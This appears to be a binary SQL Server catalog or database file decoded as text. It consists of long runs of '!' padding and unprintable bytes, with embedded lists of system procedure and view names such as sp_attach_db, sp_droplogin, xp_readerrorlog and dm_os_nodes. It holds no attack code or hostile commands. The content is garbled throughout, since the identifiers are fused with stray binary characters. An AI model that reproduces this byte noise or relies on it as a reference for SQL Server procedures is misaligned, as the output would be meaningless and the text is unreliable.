!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h2`<8f

B

f6<6


Z

	 	<		j4~.RX HzRNdj~*"``
VV"
V[t8'x&91.sp_articlefilter&=*sp_articleview&k6sp_assemblies_rowset&rS>sp_assemblies_rowset_rmt&8sp_assemblies_rowset2&Lsp_assembly_dependencies_rowset&HTsp_assembly_dependencies_rowset_rmt&,Nsp_assembly_dependencies_rowset2&K&sp_attach_db&ĄX92sp_attach_schedule&?>sp_attach_single_file_db&}Xs*sp_audit_write&=P&sp_autostats&ȳcHsp_begin_parallel_nested_tran&)t(sp_bindefault&J|$sp_bindrule&*sp_bindsession&Z0sp_browsereplcmds&
<sp_browsesnapshotfolder&eD:sp_can_tlog_be_applied&xc2sp_catalogs_rowset&:sp_catalogs_rowset_rmt&4sp_catalogs_rowset2&_X*sp_cdc_add_job&/m[0sp_cdc_change_job&:]0sp_cdc_disable_db&*6sp_cdc_disable_table&N.sp_cdc_enable_db&+Dsp_cdc_get_captured_columns&vLsp_cdc_help_change_data_capture&Κ.sp_cdc_help_jobs&+H$sp_cdc_scan&b,sp_cdc_stop_job&u?,sp_cdc_vupgrade&@sp_cdc_vupgrade_databases&_86sp_certify_removable&@sp_change_agent_parameter&\sp_change_log_shipping_primary_database&&`sp_change_log_shipping_secondary_database&1^sp_change_log_shipping_secondary_primary&˧i:sp_change_monitor_role&Q;Psp_change_subscription_properties&8sp_change_users_login&%Jsp_changearticlecolumndatatype&8<sp_changedistributiondb&@Hsp_changedistributor_password&Hsp_changedistributor_property&Fsp_changedynamicsnapshot_job&l>sp_changelogreader_agent&,.m8sp_changemergearticle&[h6sp_changemergefilter&y@sp_changemergelogsettings&$Z@sp_changemergepublication&&`vJsp_changemergepullsubscription&Bsp_changemergesubscription&v	Hsp_changepublication_snapshot&Rφ:sp_changeqreader_agent&vTsp_changereplicationserverpasswords&Y4sp_changesubscriber&r$SFsp_changesubscriber_schedule&Fsp_changesubscriptiondtsinfo&jmFsp_check_constbytable_rowset&d+Hsp_check_constbytable_rowset2&uDsp_check_constraints_rowset&ZPsp_change_tracking_waitforchanges&.sp_changedbowner&8%@.sp_changearticle&&Nsp_cdc_generate_wrapper_function&k:sp_changedistpublisher&eyZsp_availability_group_command_internal&x.sp_cdc_start_job&4sp_cdc_enable_table&Fsp_browsemergesnapshotfolder&,sp_cdc_drop_job&_n$sp_catalogs&:|:sp_cdc_get_ddl_history&/2sp_bcp_dbcmptlevel&^^2sp_changesubstatus&OM6sp_changepublication&g6sp_changeobjectowner&U<Dsp_cdc_cleanup_change_table&oV6sp_cdc_dbsnapshotLSN&m=.sp_cdc_restoredb&
`8sp_attachsubscription&8sp_changesubscription&2<sp_change_agent_profile!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.dZ

R

~>R
|
@
l		rn	4	vd8|n*.Ff<b&b82xRd,`V
QV"|[
=5&:&J8sp_delete_jobschedule&b14sp_delete_jobserver&B0sp_delete_jobstep&F6sp_delete_jobsteplog&eTsp_delete_log_shipping_monitor_info&X_Tsp_delete_log_shipping_monitor_jobs&=`Jsp_delete_log_shipping_primary& #\sp_delete_log_shipping_primary_database&a`Nsp_delete_log_shipping_secondary&`sp_delete_log_shipping_secondary_database&n?^sp_delete_log_shipping_secondary_primary&'7Bsp_delete_maintenance_plan&pp8Hsp_delete_maintenance_plan_db&:Jsp_delete_maintenance_plan_job&=Uw:sp_delete_notification&k2sp_delete_operator&~x,sp_delete_proxy&)=2sp_delete_schedule&F:sp_delete_targetserver&lu"Dsp_delete_targetservergroup&Q%Hsp_delete_targetsvrgrp_member&v|Dsp_deletepeerrequesthistory&'Dsp_deletetracertokenhistory&(&sp_denylogin&M_2sp_describe_cursor&.$Bsp_describe_cursor_columns&L@sp_describe_cursor_tables&]NPsp_describe_undeclared_parameters&p&sp_detach_db&L:2sp_detach_schedule&!9:sp_disableagentoffload&'G,sp_distcounters&z
@sp_downloaded_row_limiter&w8sp_drop_agent_profile&iF*sp_dropapprole&*sp_droparticle&ˢ:sp_dropdatatypemapping&%H(sp_dropdevice&4
2sp_dropdistributor&ygBsp_dropdynamicsnapshot_job&4sp_dropextendedproc&?&sp_droplogin&>Jsp_dropmergealternatepublisher&[a4sp_dropmergearticle&kР2sp_dropmergefilter&R8sp_dropmergepartition&<Fsp_dropmergepullsubscription&İ>sp_dropmergesubscription&M*sp_dropmessage&?2sp_droppublication&P52sp_dropremotelogin&<<sp_dropreplsymmetrickey&6e$sp_droprole&0sp_droprolemember&T(sp_dropserver&96sp_dropsrvrolemember&Ǒ4sp_dropsubscription&sh$sp_droptask&XZ$sp_droptype&`$sp_dropuser&Tg"sp_dsninfo&SVsp_enable_heterogeneous_subscription&T8sp_enableagentoffload&Oj(sp_enlist_tsx&t<sp_enum_login_for_proxy&1Ů<sp_enum_oledb_providers&ODsp_enum_proxy_for_subsystem&`1<sp_dropextendedproperty&'8sp_dropdistributiondb&2Fsp_describe_first_result_set&@sp_deletemergeconflictrow&I6sp_dropdistpublisher&iJ<sp_drop_agent_parameter&g<sp_droppullsubscription&.sp_droppublisher&*,8sp_dropanonymousagent&_2<sp_dropmergelogsettings&'4sp_enable_sql_debug&1Fsp_dropanonymoussubscription&8sp_droplinkedsrvlogin&Jc9^sp_delete_log_shipping_primary_secondary&Ic<sp_dropmergepublication&[B1Nsp_delete_log_shipping_alert_job&0sp_dropsubscriber&pQ"sp_depends&*sp_droporphans!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4\


x
D
\
V$ D

\
6
<x
		rf	,		N`4Rx42d*`.t$2`0L"NX`l$00۩P %VY8VYpsp_MSenumarticleslightweight00	oX džYYXxp_enumerrorlogs00߯P V-lYjsp_MSIfExistsSubscription00P ƼNZNZsp_droprolemember00JP RRRsp_columns_9000P 	TeYhsp_MSmerge_ddldispatcher00BX +Q2Qtsp_commit_parallel_nested_tran00l`P UcVhsp_MSpub_adjust_identity00)XP UghYbsp_ivindexhasnullcols00P S#eYhsp_checkinvalidivarticle00Z)V QQdm_hadr_availability_replica_cluster_nodes00%)4P V4Wjsp_MSget_snapshot_history00%rXP JRR`sp_getProcessorUsage00yjP ~YʼnYVsp_readerrorlog00kP RR`sp_assemblies_rowset00vV >NZNddm_fts_active_catalogs00P|V PPrdm_tran_database_transactions00uP UqRqRnsp_check_constraints_rowset00IɠP UEdVlsp_MSdeletetranconflictrow00g*V sQsQtdm_filestream_file_io_requests00镧P -UcVdsp_enumfullsubscribers00P TUZsp_MSfix_6x_tasks00vX 7Q7QHxp_msver004P UvhYsp_MSactivateprocedureexecutionarticleobject00@gV QQ`dm_pdw_exec_requests00HP NsNPsp_configure00YV QQtdm_pdw_nodes_os_memory_objects00P TQՑQZsp_addremotelogin00tP eUcVfsp_scriptdynamicupdproc00=8P tVlYxsp_MSdrop_dynamic_snapshot_agent00P "RPRXsp_datatype_info00CP X8XZsp_MSdelrowsbatch00{5
P iTUXsp_addsubscriber00,P kXXlsp_MScheckexistsgeneration00LP *Q1Qjsp_describe_cursor_tables00H!P jTeYZsp_mapdown_bitmap00"P _[WlW|sp_MSadd_log_shipping_error_detail00k9P wS(eYfsp_vupgrade_mergetables00AP NXXjsp_registercustomresolver00wCP ]RRHsp_fkeys00SP 7RdRTsp_primarykeys00mWFNW_W\fn_cdc_get_min_lsn00ZP Y.YZsp_MSfilterclause00xdP R%RTsp_columns_100006eP NYNNsp_droprole00%hP -
TDTbsp_MSisreplmergeagent00}V >W`Whdm_cdc_log_scan_sessions00V PPtdm_os_memory_cache_clock_hands006uP UYUYsp_lightweightmergemetadataretentioncleanup00☩P vTU`sp_replsetoriginator00zP fQfQXsp_trace_getdata00V DVeVVdm_repl_schemas00ڱP sSKeYjsp_MSrepl_backup_complete00[]P V{lYsp_MSenumdistributionagentproperties00P \JSCTjsp_MSCleanupForPullReinit00oP =X=Xpsp_helpmergelogfileswithdata00ŠV 6QTQdm_pdw_nodes_tran_active_snapshot_database_transactions00fV UQUQndm_db_mirroring_connections00AF
QQjGeometryEnvelopeAggregate00P T]WlWrsp_add_log_shipping_alert_job00dP QWW`sp_MScdc_cleanup_job00$(IFPPrdm_db_index_operational_stats003P eV5W^sp_MSenum_logreader0036P XXXsp_MSenumchanges00=P ӦNNRsp_helplogins00AP %;WlWrsp_logshippinginstallmetadata00WV QQQdpdw_loader_backup_runs00^P HUgY|sp_MSrepl_snapshot_helppublication008lP V!lYlsp_MSadd_logreader_history00TkmP X&Xbsp_MSsetreplicastatus00epP V7Wsp_MSchangedynsnaplocationatdistributor00mqP |*VleV|sp_MSdetectinvalidpeersubscription00|V ѴPPbdm_db_partition_stats00C}V kQkQ`trace_event_bindings00S~P .XUXvsp_MSenum_logicalrecord_changes00ۍP 4AR]ARpsp_column_privileges_rowset2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4rp&PHv,,l&JF<$N
x
 
n6
r

	:	|.XBL>(`0N"bY+Py00܂IFQQdfn_validate_plan_guide00!P 8UeV`sp_publisherproperty00NIFNűN|dm_cryptographic_provider_sessions00IP QYtYxsp_MScreatelightweightupdateproc00]P EXrY\sp_MSdummyupdate9000F@P *XRpYbsp_MSdropmergearticle001P T
Uvsp_MSrepl_enumarticlecolumninfo001P wVx6Wjsp_MSdrop_qreader_history00P =X_Xlsp_MSaddinitialpublication00dP V<lYtsp_replmonitorhelpmergesession00eP R7R\sp_columns_managed008P NNNsp_helpuser00hV UPsPXdm_os_sys_memory00+3P LXpYVsp_MSscript_dri00ygP ZoXsoXlsp_dropdynamicsnapshot_job00p'V jQjQPtrace_events00iS	TF5RDThfn_EnumCurrentPrincipals00P +NNTsp_resetstatus00sP \X}Xtsp_MScreate_article_repl_views00P jNQSQPsp_helpindex00 X aQbQbsp_xml_removedocument00lo2P EP7QRsp_helpdevice00:P g*Rx*R`sp_stored_procedures00EIF(Q6Qldm_sql_referenced_entities00KP YNNPsp_attach_db00QP (.XZpYfsp_helpmergepublication00SV HQfQdm_pdw_nodes_exec_query_resource_semaphores00LSUV ڽPPjdm_io_pending_io_requests00YP UFdVfsp_MSgetpeerconflictrow00_`P )MUgYhsp_MSscript_article_view00)bP .R<RTsp_oledb_defdb00cP 4	ScY`sp_MSacquireSlotLock00ExP  TeY^sp_MSsendtosqlqueue00P R(Rhsp_tables_info_rowset_6400P UcVzsp_script_reconciliation_xdelproc00P 0SdYfsp_MSmerge_altertrigger00TP YsY^sp_MSmakeselectproc00ߞP "YYdsp_MShelpfulltextindex00$ZP L-XXpYjsp_changemergepublication00P TaYbsp_helpdistributiondb00-X ݆YCY\xp_sqlagent_notify00,WP .TDT|sp_stopmergepullsubscription_agent00"BV 
Q)
Qhdm_hadr_cluster_networks00ȚV aQQndm_pdw_nodes_os_dispatchers00PnP PQXsp_user_counter400yP #Y4#Ytsp_MSget_logicalrecord_lineage00cQP QQSQTsp_helptrigger00]P sRRZsp_columns_ex_10000
V >P\PNdm_os_nodes00P g}TaYrsp_changedistributor_property00[hP IXIX`sp_changemergefilter00NFNW`W\fn_cdc_get_max_lsn00.P QMY`MYnsp_MSenumdeleteslightweight002P ZkSwdYfsp_helppullsubscription005IFPPvdm_db_database_page_allocations00AP jXX|sp_MSadd_dynamic_snapshot_location00FFNX'XXfn_MapSchemaType00]GV PȶPddm_tcp_listener_states00,MP v~RRbsp_tables_info_rowset00r$SP oTUpsp_changesubscriber_schedule00VV ^R|R^COLUMN_DOMAIN_USAGE00_P TaYbsp_help_agent_profile00aU hQQ^trace_xe_action_map00[5aV -QKQrdm_pdw_nodes_os_waiting_tasks00pTFNNZfn_my_permissions009P WlY`sp_helpqreader_agent00V PPldm_os_memory_cache_entries00XgP nXpYxsp_MSdropmergedynamicsnapshotjob00P RRbsp_assemblies_rowset200?ZP 5WVmeV|sp_configure_peerconflictdetection00V PPldm_os_virtual_address_dump00贲P XX(XXpsp_validatemergesubscription00kP XrYXsp_MSsetartprocs00X <fQ]fQdsp_trace_generateevent00|P RRsp_syspolicy_unsubscribe_from_policy_category005V QQzpdw_table_distribution_properties00X >YAYJsp_OAStop00?P MkR[kRbsp_table_types_rowset<F~4P$d4x V6NjB
8
z&X
`
		>	*fZ@"Lt$`0L"\Y
w00DP XXZsp_MSsetgentozero00Y)P TaYnsp_grant_publication_access00_P YY`sp_MSdelsubrowsbatch00P 9SpeY`sp_MSenum_replqueues00!P TCTbsp_createmergepalrole00#P TaYlsp_MSrepl_startup_internal00Q)P R4RTsp_server_info00,P *rVkYlsp_MSadd_repl_commands27hp004P SKQhLQbsp_helplinkedsrvlogin00Q;P dSadYzsp_change_subscription_properties00EP %V7Wsp_MSupdate_subscriber_tracer_history00=aFP VhYvsp_getqueuedarticlesynctraninfo00MP QQTsp_dropmessage00PPC}Y}Ysp_FuzzyLookupTableMaintenanceUninstall00PRP )/RQ/RPsp_tables_ex00j8VP 9Y;9Ypsp_MScheckfailedprevioussync00LfZP ѰXXXsp_MSdeleteretry00/m[P +W_WZsp_cdc_change_job00\X PNpOfsp_fulltext_keymappings00^P c+TDTtsp_startpullsubscription_agent00taP ,WtnYzsp_MSreleasemakegenerationapplock00[aP +X+X^sp_dropmergearticle00aP &VhYpsp_MSaddsubscriptionarticles00oV gRRXVIEW_TABLE_USAGE00MHV QQtdm_pdw_nodes_os_spinlock_stats00P VlYhsp_MSadd_qreader_history00AOP ͑RRZsp_oledb_database00ڡP TeYNsp_ORbitmap00^P VclYfsp_MShelp_merge_agentid00P q X>pYtsp_MSrefresh_publisher_idrange00IF1QEQzdm_exec_describe_first_result_set00P ϓRR\sp_tablecollations00W&P ]Q`Qvsp_help_fulltext_columns_cursor00P ;R;R^sp_catalogs_rowset200P N)NPsp_recompile00oP JT
Ursp_MSrepl_testadminconnection00P oSDTdsp_removedbreplication00V NٯNdm_cryptographic_provider_properties00oP V5Wjsp_MShelp_subscriber_info00P TaYlsp_help_publication_access00J8V RRLPARAMETERS00kP T6VmeV\sp_gettopologyinfo00P fXfXrsp_addmergealternatepublisher00+,P UVy6W^sp_MSprofile_in_use002_P kwUcVnsp_script_synctran_commands00!AFCQRQdGeometryUnionAggregate00c$P GSeY^sp_copysubscription00W'P VRXpY^sp_MSmakeexpandproc00L+P vV6Wpsp_MSlock_distribution_agent00
3P #SCT|sp_MSget_publication_from_taskname00_6V XPtPrdm_tran_transactions_snapshot00q9IF3Q3QLfn_get_sql00:X 7Q7QRxp_enumgroups00A:P xV5Wbsp_MSenum_snapshot_sd00=P 4V(lYfsp_MSreplcopyscriptfile00PDP rDXwpYsp_replmonitorhelpmergesubscriptionmoreinfo00cHP >Y*sYlsp_MShelpcreatebeforetable00LIP yXrYpsp_MSaddinitialschemaarticle00\IFQQ\dm_exec_query_plan00@bP XrY^sp_MSenumreplicas9000vP W_Wvsp_cdc_help_change_data_capture00	zP QQsp_http_generate_wsdl_defaultcomplexorsimple00|V P2Ptdm_os_memory_cache_hash_tables00V @YNUYNtavailability_databases_cluster00[WP Y1sYjsp_MSreplcheck_permission000V W`WRdm_cdc_errors00P ANrNPsp_validname00bP W_WVsp_cdc_stop_job00IV NPjP|dm_resource_governor_configuration00^P !X:Xfsp_MSenumpartialchanges00X <TDTNsp_repldone00ˮP !NrN^sp_refreshsqlmodule00vqP JwRdwRXsp_views_rowset2004
P VTaY\sp_dropdistributor00,P %RQRxsp_assembly_dependencies_rowset200$P \WlWsp_help_log_shipping_monitor_primary!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`N|,p$X^D
<z<(>h
D
nF


	H	p<t$JRv
